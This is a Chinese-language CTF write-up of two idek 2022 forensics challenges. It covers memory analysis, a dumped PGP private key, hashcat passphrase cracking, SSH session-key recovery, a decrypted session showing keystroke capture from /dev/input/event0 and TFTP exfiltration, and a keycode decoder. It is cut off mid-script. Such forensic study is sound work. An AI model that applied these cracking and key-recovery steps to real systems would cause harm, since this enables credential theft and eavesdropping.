idek 2022* Forensics Writeup by r3kapig

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idek 2022* Forensics Writeup by r3kapig

前言:

Forensics类别 AK 师傅们TQL (应该是第一支AK的队伍),现将师傅们的writeup整理如下,供给大家学习与进步,另外持续招新,简历请root@r3kapig.com

 idek 2022* Forensics Writeup by r3kapig

idek 2022* Forensics Writeup by r3kapig


Pretty Good Prank:

linux内存取证,先获取到内存镜像对应的版本然后制作profile

idek 2022* Forensics Writeup by r3kapig

制作完成便可开始取证,主要是看一眼命令行内容

idek 2022* Forensics Writeup by r3kapig

可以看到对Cirt.pdf用gpg进行加密后删掉了原文件,所以现在要做的就是找到相应的加密后的文件以及私钥和密码,可以直接strings寻找

idek 2022* Forensics Writeup by r3kapig

可以看到他把加密后的文件上传到了https://ufile.io/fetnsp24 于是可以访问并下载到加密后的Cirt.pdf 私钥也可以直接在内存里找PGP PRIVATE KEY

-----BEGIN PGP PRIVATE KEY BLOCK-----

lQWGBGO/g7oBDADnJpOQBh/cd7ZltYKfibHHhxesviCVske49oVIBxJjjDUrdqlj
1NqBNgEu7xVKY5lW3KMYIXgz099zoLedIDvlV9+nwQ+ig92wLyrs51jLsKUfrn/o
tnVkwpRgnaxFtIT5S/qozlQoGTXW4l2BKeDH2OIuAhhHeiJ1C61EO8rBvoF7VRIs
Y4Rx5/nByWpukZKhHfE6zcjfVVj5vPElA6eeVwd71NhdIgCpOyXoauVHtLYwe8pv
M3RqZiJ6eTVxDSYc587fJfZhYbMmeYpyggEOeI5scn3POFhiugv3AnntU2XsZiQc
SzK5ME086SPTU0s2AlBb/8siWz4+6GTHb2kalYRWFJeTeMHS0BQ1aP1XZU0wHZPj
USQA/joEFHrGUayRbzzv7OpHV1wjXDJsa9TOvAa1ptkyAmM5k70Pd1A4hpxJY/Ea
ETICxpe8PHKRg5BhP6OKDvJ1sJX8yVvDAkuY1VEXZTGVNswkeYzxTzQ8tdFlMDO+
kmHSYIzTyxGcwTkAEQEAAf4HAwJDGB4Fj5nQAf+sco/FgdiZoBLgCauNWsbdpiTC
utWp5GvvOuzkmmw/Rk8zwPVzcvBNL3YP/pL/ImrRmjX9PSaIwV6WdYiDxxo1LaPM
8JDcwsiuxTRGjIollnE7SPR62iE1scIyhmu6ia5QT2ioky1M5yxgIoBjqI0Zp3t7
/RPe2Ql0/HUMuvEg+guRry2MsEyDXwkroQqMjlE7ZCXwS4kjkyOlNWgKSkbGo1b4
oZrjai+cgfilkvyxgdBLSP8R7GDezhh8dr3hMaqfe3JhanRMMJHLsHkRErwkOip8
Fxl7p/Awpg27NnlSiz5WoJ6PnJ2t4155Wl1VjAfUp5ZSjIgqsSfz5AbMT5y6mmRq
u/ULM2yf1KKcfuYwub1B3rdC9M+FPmuojFdjVL7MNwWpKMn7+yYSLdxmUim+4K+X
c/ueiqBuMfTl+isQkbetm6CAwLtXf35fQEjTgDAZ2Hp1N3NmC1153KUFXBfJIX7k
o/rtHQ/pA1SO8aDf6XenHr9tCxBD8oSPGX808q2Rtg16Tm8OdgIGaSy2k3/mF84f
Ep5O/Iak4b28Xv9bWQpuXYHjZYEOiKVw0kz1B9osckkQAwS1kunmpbNnHP78Iqs0
B+9fjNmhPmG/cM+5hdXbUxmbUK7CgWPQk745q/uc6kDTabTAGQLsYB1v05AFTKzr
xIi3uEuyTaEcah8hK7m5EWqIkiAZjcGjVPjychaipjp+oQCDkbb9W+cJ9ySFAqqS
kKmk7X3DdVejbZeVdYDRfVDLbhGGpwW8ADHtPf13VeBdClOjFpFZk8CT+HShKPR0
csKdQTMVvakHiUEFlkKYiImrFEJaueOh1XygodaLTYMyi7sC37+RM/mBm5WwCHaN
MkDSfhpnIeHQgFSlXyiGrht+FYly1F4CkpBvcBDldRCz4EslOaz19orhdBEe2qbs
o/7E+WGeuFY8DwMojVc3SMe/2G5eTGCbeUJwFRlvIl9IKWFpeUJINlJRUe8kIXH7
Dq7mm/qrWRpl+P7+SDhPTUXPwjeQ0QvKWRxgNl8MMy/z6/YPvsSA9kUj1vXsZwi1
j1TOFZq7JskpKSACiF5MIPW9/nNGwBsen5ZnRpM394lzu/BRm81dAV7rtRksWV9K
nDnScU86Ine/o3yz5M45Nsn15vwZS4WajA11PAByg5ugrwPNweD0gZX5rcnZAHjP
Yce0IH0zHDUCaw/wf3/QfKuAb/Tn3eSvxvnc0AkUXExsWtc2WqKFC9xeYysZNlRp
6Nc9GybJ6XREFfapMMxiSlgQLe9q15yee1w3SADivv5LJBlnAWt5yJPe/PbECZ0Z
kH3JLLp4aP4MNC7OmmkKuC4jsfpw4V1Z0rQJaGFja2VybG9yiQHUBBMBCgA+FiEE
WCU6oOfem6XMQDKgzzn264IIJIkFAmO/g7oCGwMFCQPCZwAFCwkIBwIGFQoJCAsC
BBYCAwECHgECF4AACgkQzzn264IIJIkmdQwA4B6ZiMXbjmyr5geoDQvzrwTNbD7v
N+FFYEqZbg8TAJKjnHcXA0QSPLk/rwLczn+vSatG6YltzMmKb+OOknuvJWahwrTi
KG+7f9LZr0fpwpyjrzOiwJPDahxOnoYx1j0oeCWIcygGYnvMmCvvRvVBiEEEhONS
Bqx3AlRtEpreKsCFEX5eOsFc9jmI+FMalLyhxOxLZbU5qsiFOJZTQmbRXAAj6lta
fIC4tS+Vv1xRZRzxkOUR4msDKc+KszK3LgWByOr9n3h0n6C4/KO6aARsMDh3jeZ6
fKXtV368kKTvQE2fri6l7F7paZ4uOvKa1CPlXq3todEaRy3L7uDfHr7L5TCwILCq
5e5a8wfxz/zVjaBHZnYvohbN7+dTxvYBxe6AwZQ5YxbUbPqKh9FidjzVp4JNwUf8
4FeRSqYIvUNS3o4f8h0+lReFdCU1lM59DVjFUzUXv6N6nWcPvrYYA/bvRoJ6DZDE
yaMydilFbFTv7NSml21cDo/fZfaoZPwYuHp7nQWGBGO/g7oBDADH36kj+37wJtO7
6p/JDkPdA9d8DQ4nTJiPGq++F1sySlGjCc6MGnCZ+M72OGAarkfikscfMgQdnvEx
K0lcsXMp7yocZ6v/d7tSlXKjcghclngdDCuo5YDuQCgmVDG4UVEW8lZ+NZU+2Ve4
VDnl3NPt9H6wETw1gUMoWRuT8LXnXPEfY0VhPuQ3QniT7K+5h3k+OF7GsVDxwCVH
M/k/XH/v3Xp0p9nm7JtXd82C7J5M2vBnNJYRNDttUoEjRIO3wGb6FPLqK8Pet1FJ
rYrJYs/+F/C33ushfLW/eds37D8IIbA2UvPg8ZNiqMb53lYLJghtlduoEHK4r1R8
y0L9b4V8FP9tPzQDh33gl58ScJXgQxlYfeq+viUecAbcICem1Izg3Cgb8KynoQWc
yw602vYDmvX+go6gvCgNHsmwkYkEnqCnAqvIMrG4Pd7/1DT4xmhrrBGCYPZID5MG
I4BtS0Bnz1rIoG4rNI6SLJP2OioLzJTFmDhU6DeHsNHqYMWo0mcAEQEAAf4HAwIe
ObV7an3Dqv8ry4hI4DgQ1OJxppXD4Uce5+hzLZnEZ1qbxN4prLc/TLkc3tHbGYMo
4cl/GiEHOblbgpijUFJ6ATlen7UCx3MQKS2wXjESJpiSVbWofgOOuDILwN83TgHl
KQXzJSG5CkiZJ7qJXpMC0Xb2H9ZQF4+lbbhV3GsKDU0DtJJVI24GBEOaKio2mt+9
NczNpUt4J29ERZaTjxGWCMq81UNa3wNFfmgTdwZJFSaCAO6Oc5RJv0zvjJC3S0+k
g6aGRRN/ITMazTxcbYxW8b0qs7EBR6kHlV9b5AXL0KD/f9SLQOEpyJ11ri9uuepc
j155oMjniUjYhOLkOQstqRk6lklu1wIOPoKXMDD5MIZ+BorNKc9+3vnIQQ7jR9Xl
AJkPclhNoDaDHfsOfra2IaYnX0Q985bhlGqxOERisYI0Nol0WL2DZXwnm2ctmcyT
pIlNsLlL0NFtlDwn1IlO8fYLzKqqfR6qyhfWM/Y8craEnRGRYXL/yEAmFy6OrTDZ
KHz9g19nGjn2rJi3nJPIL3uLbWqmZCkf+CvDXqD+tlthvYEgeIvxEf3UDcllAhxF
myZ8SpNVnpxoIf/jw6Ve7wciocqdg97843iEdPp7OtkKmRRkkDrgssd8pv63RsjJ
jHzGQv2pLlyXmFN9sphaTcTHf90cTf6q9YYOAXvTFLhp5BSaZ+7CBqFRh39vuDyz
4u8JMM6/CFOlBBHemvt6QQvu1iAGHmBXIWFQjE62YXX8UEcDXXHjw+8QQ1G/en+4
DwzupiSkwdUt2jkHUPSaUEdbME3a7zqbJ4yDJAil1AfTBMED7McF8HZgkp6N2bVM
Tyzmb+vT7b+FQHRE8EI3hts83g6uCmKT0DCcgeDoDZktrzDLnChbiMYZO3fib8HX
pl/qMrh1xzfvrbV2L2RSpY0JcZxxAJS+L/GYRwVwr55OA/ZTnFhVthMcmaz5/NuY
KIZdb34sBBunllNYWona9YcM0J7M3/p+GR/EEee901xwAU7Z5lWbE+J3jp4MOWRd
g7+Wu4l5MgeF+mTfiKYWAPdjeg8ZLpYgEsTr2OCFuAAHHOFM5xDZuo8XbMg3J3jg
EpyWYdEHOXrqFbwsXhivYL0dpavtdXNaI8AC6m2GNtOso0ghgw53D7CwefUh0FhS
iTDhsmRryV1LvuH1txJZq3bOJk/cW6JBeMLQw2Q/5S2orvfj1SoboMtSW1mDWSh/
y855KSruCg8AzgDiflXumPK5vL0i8gI6PsQJ/xxUZpEjKJ2VwZyObSEt9JlsCmij
lmqXCEHs998TwL8uuxLmTnXH2yTepbj+iItAL14mbcd1JLtednvUt9EttY5xm6hW
kv6XVIkBtgQYAQoAIBYhBFglOqDn3pulzEAyoM859uuCCCSJBQJjv4O6AhsMAAoJ
EM859uuCCCSJWDgL/2a8nMhxLpCKew3Ht5/OMNeolypBY6w/hXnM5uAlFyLvccrV
X6D0f8E9OElfkpOTGzoS6ZIzpSERTj8xM4jIhMjTWtdVoldHZ4UCb7J8wPPMm+u+
WxP1yjR1VuLr9YUOaKCOGhT9BzseOYu8Uto/NrGXplDiyRse9rMJ/XI8Sh0tADVx
FSu9Dd5h/9Yi1JkHolva1ld2LUO1ILstJ79ohJvisBI/kuSXOya/p63hDknVQ4bw
xJ1ynbMRXIDCWxcIt3Wk0Aiow9l/2nLyxvrI0RvR8EsOeyl6ut2Os5lVesvTBRvd
jTeank8dBokiMF8Q4b+B+r+zWcSlxwyO2AagoJ3TJBuxWLXKEGsXDrwwEHLbrIg+
AfHcpCgs8i27iS/3lHxSzgZbZB5NiaOJCKuq7Zerg9ULtyONhchx8Es8SLU3nY0/
00noUIbWcpb4JRNG4tz0FrfLj3nnnvgwmbzXLugpBRmV275zGx+3yFYzN3xpx0NO
IDcufsWUUAptvV8PmQ==
=LIOj
-----END PGP PRIVATE KEY BLOCK-----

现在私钥密文都有了,还缺个密码 这里可以使用gpg2john结合hashcat使用rockyou进行爆破

gpg2john 1.txt > hash.txt
hashcat -17010 hash.txt -0 ./webtools/rockyou.txt  --force

得到密码itachi 需要的都已经拿到了,直接解密即可

idek 2022* Forensics Writeup by r3kapig

解密出来的pdf里拿到url https://pastebin.com/5Zh86iu6 访问即可拿到flag --> idek{PGP_k3Y_!s_fL0@t1n9_1n_m3m0rY}

Stealth:

还是先做profile,这里做5.10.0-11的

idek 2022* Forensics Writeup by r3kapig

做好后查看命令行记录idek 2022* Forensics Writeup by r3kapig

可以发现他先是进行了键盘记录的读取然后把Confidential.7z上传后删掉了,并且还抓取了全过程的流量包 分析一下流量就可以看到被传输的压缩包,先用wireshark直接导出,但是直接导出的压缩包文件格式是错误的 通过阅读netascii传输模式对传输数据的处理方法https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol

Netascii is a modified form of ASCII, defined in RFC 764. It consists of an 8-bit extension of the 7-bit ASCII character space from 0x20 to 0x7F (the printable characters and the space) and eight of the control characters. The allowed control characters include the null (0x00), the line feed (LF, 0x0A), and the carriage return (CR, 0x0D). Netascii also requires that the end of line marker on a host be translated to the character pair CR LF for transmission, and that any CR must be followed by either a LF or the null.

可以知道在传输过程中对于0x0d和0x0a都会进行替换,所以只要换回来即可恢复正常压缩包

data = open('Confidential.7z', 'rb').read()
data = data.replace(b'x0dx0a', b'x0a').replace(b'x0dx00', b'x0d')
open('out.7z', 'wb').write(data)

这时候压缩包就可以被正常打开了,但是需要密码 根据提示密码没有大写字母,猜测压缩包密码需要从键盘记录里获取,也就是event0的内容 同时注意到压缩包里有很多ssh流量,于是从内存里提取密钥并尝试解密ssh 这里要用到一个vol2的插件https://github.com/fox-it/OpenSSH-Session-Key-Recovery 然后查看进程找到ssh对应的Pid为2732

idek 2022* Forensics Writeup by r3kapig

然后利用这个插件提取密钥

idek 2022* Forensics Writeup by r3kapig

再将其写入json文件

{"task_name": "sshd", "sshenc_addr": 94122048527088, "cipher_name": "aes256-gcm@openssh.com", "key": "895688678410a0b9b358b0b04ab909d49333791e864c89593c66d5ce5083b8e5", "iv": "40e87818bef3d68c45c9a9f5"}
{"task_name": "sshd", "sshenc_addr": 94122048527408, "cipher_name": "aes256-gcm@openssh.com", "key": "f03b9e6c1b37ec53d89839e85deffb204d9a261076014850399499e913a1b32b", "iv": "dc972db4e5f7e8738ddf57d6"}

然后使用工具https://github.com/fox-it/OpenSSH-Network-Parser即可解密

network-parser -Stealth.pcapng --popt keyfile=key.json --proto ssh -dump/

(安装过程遇到问题可以看看这篇文章https://blog.csdn.net/onl_llo/article/details/119994561?spm=1001.2014.3001.5501 得到以下内容

Warning: stream not in closed state!
[192.168.25.1:56174 -> 192.168.25.128:22        2023-01-12 06:07:53.487476 - 2023-01-12 06:11:20.223402]
[User Auth Request]
username:      'debian'
service_name:  'ssh-connection'
method_name:   'password'
Password: debian

Linux debian11 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64
Last login: Tue Aug 17 05:13:01 2021 from 192.168.1.1


[?2004h]0;debian@debian11: ~debian@debian11:~
w
w
h
h
o
o
a
a
m
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i


[?2004l
debian

[?2004h
]0;debian@debian11: ~debian@debian11:~
l
l
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/
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[K
d
d
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ut/


[?2004l
[0m[01;34mby-id[0m    [40;33;01mevent0[0m  [40;33;01mevent2[0m  [40;33;01mevent4[0m  [40;33;01mevent6[0m  [40;33;01mmice[0m    [40;33;01mmouse1[0m  [40;33;01mmouse3[0m
[01;34mby-path[0m  [40;33;01mevent1[0m  [40;33;01mevent3[0m  [40;33;01mevent5[0m  [40;33;01mjs0[0m     [40;33;01mmouse0[0m  [40;33;01mmouse2[0m

[?2004h]0;debian@debian11: ~debian@debian11:~
c
c
a
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d
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v
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0
0
 
 
|
|
 
 
x
x
x
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-
-
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[?2004l
cat: /dev//input/event0: Permission denied

[?2004h]0;debian@debian11: ~debian@debian11:~
[A
cat /dev//input/event0 | xxd -p
[H

s
[1@s
u
[1@u
d
[1@d
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[1@ 
[C
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[C
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[1P


[?2004l
daa3bf63000000002b3b030000000000040004001e000000daa3bf630000
00002b3b03000000000001001e0001000000daa3bf63000000002b3b0300

000000000000000000000000daa3bf630000000091e10400000000000400
04001e000000daa3bf630000000091e104000000000001001e0000000000

daa3bf630000000091e10400000000000000000000000000daa3bf630000
000021660800000000000400040013000000daa3bf630000000021660800
000000000100130001000000daa3bf630000000021660800000000000000

000000000000daa3bf6300000000aaf70900000000000400040013000000
daa3bf6300000000aaf70900000000000100130000000000daa3bf630000

0000aaf70900000000000000000000000000daa3bf630000000052a80c00
00000000040004002e000000daa3bf630000000052a80c00000000000100
2e0001000000daa3bf630000000052a80c00000000000000000000000000

daa3bf6300000000d4ee0e0000000000040004002e000000daa3bf630000
0000d4ee0e000000000001002e0000000000daa3bf6300000000d4ee0e00

000000000000000000000000dba3bf6300000000dc5a0000000000000400
040023000000dba3bf6300000000dc5a0000000000000100230001000000

dba3bf6300000000dc5a0000000000000000000000000000dba3bf630000
0000d5f60100000000000400040017000000dba3bf6300000000d5f60100
000000000100170001000000dba3bf6300000000d5f60100000000000000

000000000000dba3bf6300000000dcf30200000000000400040023000000
dba3bf6300000000dcf30200000000000100230000000000dba3bf630000

0000dcf30200000000000000000000000000dba3bf63000000005e400300
00000000040004002f000000dba3bf63000000005e400300000000000100
2f0001000000dba3bf63000000005e400300000000000000000000000000

dba3bf6300000000f9410400000000000400040017000000dba3bf630000
0000f9410400000000000100170000000000dba3bf6300000000f9410400

000000000000000000000000dba3bf63000000001a450400000000000400
040012000000dba3bf63000000001a450400000000000100120001000000

dba3bf63000000001a450400000000000000000000000000dba3bf630000
000043ea040000000000040004002f000000dba3bf630000000043ea0400
0000000001002f0000000000dba3bf630000000043ea0400000000000000

000000000000dba3bf630000000070e30500000000000400040039000000
dba3bf630000000070e30500000000000100390001000000dba3bf630000

000070e30500000000000000000000000000dba3bf6300000000727d0700
000000000400040012000000dba3bf6300000000727d0700000000000100
120000000000dba3bf6300000000727d0700000000000000000000000000

dba3bf630000000058c60800000000000400040039000000dba3bf630000
000058c60800000000000100390000000000dba3bf630000000058c60800

000000000000000000000000dba3bf63000000004a540a00000000000400
040032000000dba3bf63000000004a540a00000000000100320001000000

dba3bf63000000004a540a00000000000000000000000000dba3bf630000
000076470c00000000000400040032000000dba3bf630000000076470c00
000000000100320000000000dba3bf630000000076470c00000000000000

000000000000dba3bf6300000000d6720d0000000000040004001e000000
dba3bf6300000000d6720d000000000001001e0001000000dba3bf630000

0000d6720d00000000000000000000000000dba3bf6300000000d01d0f00
00000000040004001e000000dba3bf6300000000d01d0f00000000000100
1e0000000000dba3bf6300000000d01d0f00000000000000000000000000

dca3bf630000000018520100000000000400040031000000dca3bf630000
000018520100000000000100310001000000dca3bf630000000018520100

000000000000000000000000dca3bf6300000000f93b0300000000000400
040031000000dca3bf6300000000f93b0300000000000100310000000000

dca3bf6300000000f93b0300000000000000000000000000dca3bf630000
00003dc8050000000000040004001e000000dca3bf63000000003dc80500
0000000001001e0001000000dca3bf63000000003dc80500000000000000

000000000000dca3bf6300000000b45d070000000000040004001e000000
dca3bf6300000000b45d07000000000001001e0000000000dca3bf630000

0000b45d0700000000000000000000000000dca3bf630000000021850900
000000000400040022000000dca3bf630000000021850900000000000100
220001000000dca3bf630000000021850900000000000000000000000000

dca3bf630000000015780b00000000000400040022000000dca3bf630000
000015780b00000000000100220000000000dca3bf630000000015780b00

000000000000000000000000dca3bf63000000004cc50b00000000000400
040012000000dca3bf63000000004cc50b00000000000100120001000000

dca3bf63000000004cc50b00000000000000000000000000dca3bf630000
00005a590e00000000000400040013000000dca3bf63000000005a590e00
000000000100130001000000dca3bf63000000005a590e00000000000000

000000000000dca3bf6300000000efb20e00000000000400040012000000
dca3bf6300000000efb20e00000000000100120000000000dca3bf630000

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00000000000000000000000034a4bf6300000000f9070700000000000400
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00000000000000000000000035a4bf630000000048c10300000000000400
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35a4bf63000000004a55080000000000040004003100000035a4bf630000
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00000000000000000000000035a4bf6300000000ac4d0a00000000000400
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00000000000000000000000036a4bf630000000085e80800000000000400
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00000000000000000000000037a4bf630000000056890300000000000400
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00000000000000000000000038a4bf630000000079830900000000000400
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0000000000000000000000003aa4bf6300000000eb070600000000000400
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3ea4bf63000000006a94050000000000040004002d0000003ea4bf630000
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0000000000000000000000003ea4bf6300000000ab600600000000000400
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3ea4bf6300000000ab6006000000000000000000000000003ea4bf630000
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0000000000003ea4bf630000000010a70800000000000400040014000000
3ea4bf630000000010a708000000000001001400010000003ea4bf630000

000010a708000000000000000000000000003ea4bf630000000095910a00
0000000004000400140000003ea4bf630000000095910a00000000000100
1400000000003ea4bf630000000095910a00000000000000000000000000

3ea4bf630000000009540c0000000000040004001c0000003ea4bf630000
000009540c000000000001001c00010000003ea4bf630000000009540c00

0000000000000000000000003ea4bf630000000015e60d00000000000400
04001c0000003ea4bf630000000015e60d000000000001001c0000000000


^C


[?2004h]0;debian@debian11: ~debian@debian11:~
c
c
d
d

[K
d
d
 
 
D
D
o
o
c
c
u
u
        
ments/


[?2004l
[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
l
l
s
s


[?2004l
[0m[01;31mConfidential.7z[0m

[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
t
t
f
f
t
t
p
p


[?2004l
-bash: tftp: command not found

[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 


^M

[K


sudo apt install tftpd-hpa
sudo apt install tftpd-hpa


[?2004l

Reading package lists... 0%

Reading package lists... 100%

Reading package lists... Done



Building dependency tree... 0%

Building dependency tree... 0%

Building dependency tree... 50%

Building dependency tree... 50%

Building dependency tree... Done



Reading state information... 0% 

Reading state information... 0%

Reading state information... Done


Suggested packages:


  pxelinux


The following NEW packages will be installed:


  tftpd-hpa

0 upgraded, 1 newly installed, 0 to remove and 272 not upgraded.
Need to get 49.0 kB of archives.
After this operation, 119 kB of additional disk space will be used.

[33m
0% [Working][0m

            
Get:1 http://deb.debian.org/debian bullseye/main amd64 tftpd-hpa amd64 5.2+20150808-1.2 [49.0 kB]
[33m
26% [1 tftpd-hpa 16.1 kB/49.0 kB 33%][0m
[33m
                                     
100% [Working][0m
              
Fetched 49.0 kB in 0s (165 kB/s)

Preconfiguring packages ...


7[0;34r8[1A
Selecting previously unselected package tftpd-hpa.
(Reading database ... 
(Reading database ... 5%
(Reading database ... 10%
(Reading database ... 15%
(Reading database ... 20%
(Reading database ... 25%
(Reading database ... 30%
(Reading database ... 35%
(Reading database ... 40%
(Reading database ... 45%
(Reading database ... 50%
(Reading database ... 55%
(Reading database ... 60%
(Reading database ... 65%
(Reading database ... 70%
(Reading database ... 75%
(Reading database ... 80%
(Reading database ... 85%
(Reading database ... 90%
(Reading database ... 95%
(Reading database ... 100%
(Reading database ... 140342 files and directories currently installed.)

Preparing to unpack .../tftpd-hpa_5.2+20150808-1.2_amd64.deb ...

7[35;0f[42m[30mProgress: [  0%][49m[39m [..............................................................................] 8
7[35;0f[42m[30mProgress: [ 20%][49m[39m [###############...............................................................] 8
Unpacking tftpd-hpa (5.2+20150808-1.2) ...

7[35;0f[42m[30mProgress: [ 40%][49m[39m [###############################...............................................] 8
Setting up tftpd-hpa (5.2+20150808-1.2) ...

7[35;0f[42m[30mProgress: [ 60%][49m[39m [##############################################................................] 8
7[35;0f[42m[30mProgress: [ 80%][49m[39m [##############################################################................] 8
Processing triggers for man-db (2.9.4-2) ...


7[0;35r8[1A[J
[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
cat /etc/default/tftpd-hpa
cat /etc/default/tftpd-hpa


[?2004l
# /etc/default/tftpd-hpa




TFTP_USERNAME="tftp"


TFTP_DIRECTORY="/srv/tftp"


TFTP_ADDRESS=":69"


TFTP_OPTIONS="--secure"


[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
sudo mv Confidential.7z /srv/tftp/
sudo mv Confidential.7z /srv/tftp/


[?2004l
[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
l
l
s
s


[?2004l
[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
s
s
u
u
d
d
o
o
 
 
r
r
m
m
 
 
-
-
r
r
f
f
 
 
/
/
s
s
r
r
        
v/
t
t
f
f
        
tp/
C
C
o
o
n
n
        
fidential.7z 


[?2004l
[?2004h]0;debian@debian11: ~/Documentsdebian@debian11:~/Documents$ 
Server stream offset: 0xf3d4
Client stream offset: 0x4243
Remaining server data: 0x0
Remaining client data: 0x0

从而得到sudo cat dev/input/event0 | xxd -p命令的输出,然后就可以用脚本解密


#!/usr/bin/python

# script built on https://stackoverflow.com/a/16682549
import struct
import time
import sys

infile_path = "input"

"""
FORMAT represents the format used by linux kernel input event struct
See https://github.com/torvalds/linux/blob/v5.5-rc5/include/uapi/linux/input.h#L28
Stands for: long int, long int, unsigned short, unsigned short, unsigned int
"""

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

#open file in binary mode
in_file = open(infile_path, "rb")

event = in_file.read(EVENT_SIZE)

keymap = {
    0: "KEY_RESERVED",
    1: "KEY_ESC",
    2: "KEY_1",
    3: "KEY_2",
    4: "KEY_3",
    5: "KEY_4",
    6: "KEY_5",
    7: "KEY_6",
    8: "KEY_7",
    9: "KEY_8",
    10: "KEY_9",
    11: "KEY_0",
    12: "KEY_MINUS",
    13: "KEY_EQUAL",
    14: "KEY_BACKSPACE",
    15: "KEY_TAB",
    16: "KEY_Q",
    17: "KEY_W",
    18: "KEY_E",
    19: "KEY_R",
    20: "KEY_T",
    21: "KEY_Y",
    22: "KEY_U",
    23: "KEY_I",
    24: "KEY_O",
    25: "KEY_P",
    26: "KEY_LEFTBRACE",
    27: "KEY_RIGHTBRACE",
    28: "KEY_ENTER",
    29: "KEY_LEFTCTRL",
    30: "KEY_A",
    31: "KEY_S",
    32: "KEY_D",
    33: "KEY_F",
    34: "KEY_G",
    35: "KEY_H",
    36: "KEY_J",
    37: "KEY_K",
    38: "KEY_L",
    39: "KEY_SEMICOLON",
    40: "KEY_APOSTROPHE",
    41: "KEY_GRAVE",
    42: "KEY_LEFTSHIFT",
    43: "KEY_BACKSLASH",
    44: "KEY_Z",
    45: "KEY_X",
    46: "KEY_C",
    47: "KEY_V",
    48: "KEY_B",
    49: "KEY_N",
    50: "KEY_M",
    51: "KEY_COMMA",
    52: "KEY_DOT",
    53: "KEY_SLASH",
    54: "KEY_RIGHTSHIFT",
    55: "KEY_KPASTERISK",
    56: "KEY_LEFTALT",
    57: "KEY_SPACE",
    58: "KEY_CAPSLOCK",
    59: "KEY_F1",
    60: "KEY_F2",
    61: "KEY_F3",
    62: "KEY_F4",
    63: "KEY_F5",
    64: "KEY_F6",
    65: "KEY_F7",
    66: "KEY_F8",
    67: "KEY_F9",
    68: "KEY_F10",
    69: "KEY_NUMLOCK",
    70: "KEY_SCROLLLOCK",
    71: "KEY_KP7",
    72: "KEY_KP8",
    73: "KEY_KP9",
    74: "KEY_KPMINUS",
    75: "KEY_KP4",
    76: "KEY_KP5",
    77: "KEY_KP6",
    78: "KEY_KPPLUS",
    79: "KEY_KP1",
    80: "KEY_KP2",
    81: "KEY_KP3",
    82: "KEY_KP0",
    83: "KEY_KPDOT",

    85: "KEY_ZENKAKUHANKAKU",
    86: "KEY_102ND",
    87: "KEY_F11",
    88: "KEY_F12",
    89: "KEY_RO",
    90: "KEY_KATAKANA",
    91: "KEY_HIRAGANA",
    92: "KEY_HENKAN",
    93: "KEY_KATAKANAHIRAGANA",
    94: "KEY_MUHENKAN",
    95: "KEY_KPJPCOMMA",
    96: "KEY_KPENTER",
    97: "KEY_RIGHTCTRL",
    98: "KEY_KPSLASH",
    99: "KEY_SYSRQ",
    100: "KEY_RIGHTALT",
    101: "KEY_LINEFEED",
    102: "KEY_HOME",
    103: "KEY_UP",
    104: "KEY_PAGEUP",
    105: "KEY_LEFT",
    106: "KEY_RIGHT",
    107: "KEY_END",
    108: "KEY_DOWN",
    109: "KEY_PAGEDOWN",
    110: "KEY_INSERT",
    111: "KEY_DELETE",
    112: "KEY_MACRO",
    113: "KEY_MUTE",
    114: "KEY_VOLUMEDOWN",
    115: "KEY_VOLUMEUP",
    116: "KEY_POWER",
    117: "KEY_KPEQUAL",
    118: "KEY_KPPLUSMINUS",
    119: "KEY_PAUSE",
    120: "KEY_SCALE",

    121: "KEY_KPCOMMA",
    122: "KEY_HANGEUL",
    122: "KEY_HANGUEL",
    123: "KEY_HANJA",
    124: "KEY_YEN",
    125: "KEY_LEFTMETA",
    126: "KEY_RIGHTMETA",
    127: "KEY_COMPOSE",

    128: "KEY_STOP",
    129: "KEY_AGAIN",
    130: "KEY_PROPS",
    131: "KEY_UNDO",
    132: "KEY_FRONT",
    133: "KEY_COPY",
    134: "KEY_OPEN",
    135: "KEY_PASTE",
    136: "KEY_FIND",
    137: "KEY_CUT",
    138: "KEY_HELP",
    139: "KEY_MENU",
    140: "KEY_CALC",
    141: "KEY_SETUP",
    142: "KEY_SLEEP",
    143: "KEY_WAKEUP",
    144: "KEY_FILE",
    145: "KEY_SENDFILE",
    146: "KEY_DELETEFILE",
    147: "KEY_XFER",
    148: "KEY_PROG1",
    149: "KEY_PROG2",
    150: "KEY_WWW",
    151: "KEY_MSDOS",
    152: "KEY_COFFEE",
    152: "KEY_SCREENLOCK",
    153: "KEY_ROTATE_DISPLAY",
    153: "KEY_DIRECTION",
    154: "KEY_CYCLEWINDOWS",
    155: "KEY_MAIL",
    156: "KEY_BOOKMARKS",
    157: "KEY_COMPUTER",
    158: "KEY_BACK",
    159: "KEY_FORWARD",
    160: "KEY_CLOSECD",
    161: "KEY_EJECTCD",
    162: "KEY_EJECTCLOSECD",
    163: "KEY_NEXTSONG",
    164: "KEY_PLAYPAUSE",
    165: "KEY_PREVIOUSSONG",
    166: "KEY_STOPCD",
    167: "KEY_RECORD",
    168: "KEY_REWIND",
    169: "KEY_PHONE",
    170: "KEY_ISO",
    171: "KEY_CONFIG",
    172: "KEY_HOMEPAGE",
    173: "KEY_REFRESH",
    174: "KEY_EXIT",
    175: "KEY_MOVE",
    176: "KEY_EDIT",
    177: "KEY_SCROLLUP",
    178: "KEY_SCROLLDOWN",
    179: "KEY_KPLEFTPAREN",
    180: "KEY_KPRIGHTPAREN",
    181: "KEY_NEW",
    182: "KEY_REDO",

    183: "KEY_F13",
    184: "KEY_F14",
    185: "KEY_F15",
    186: "KEY_F16",
    187: "KEY_F17",
    188: "KEY_F18",
    189: "KEY_F19",
    190: "KEY_F20",
    191: "KEY_F21",
    192: "KEY_F22",
    193: "KEY_F23",
    194: "KEY_F24",

    200: "KEY_PLAYCD",
    201: "KEY_PAUSECD",
    202: "KEY_PROG3",
    203: "KEY_PROG4",
    204: "KEY_DASHBOARD",
    205: "KEY_SUSPEND",
    206: "KEY_CLOSE",
    207: "KEY_PLAY",
    208: "KEY_FASTFORWARD",
    209: "KEY_BASSBOOST",
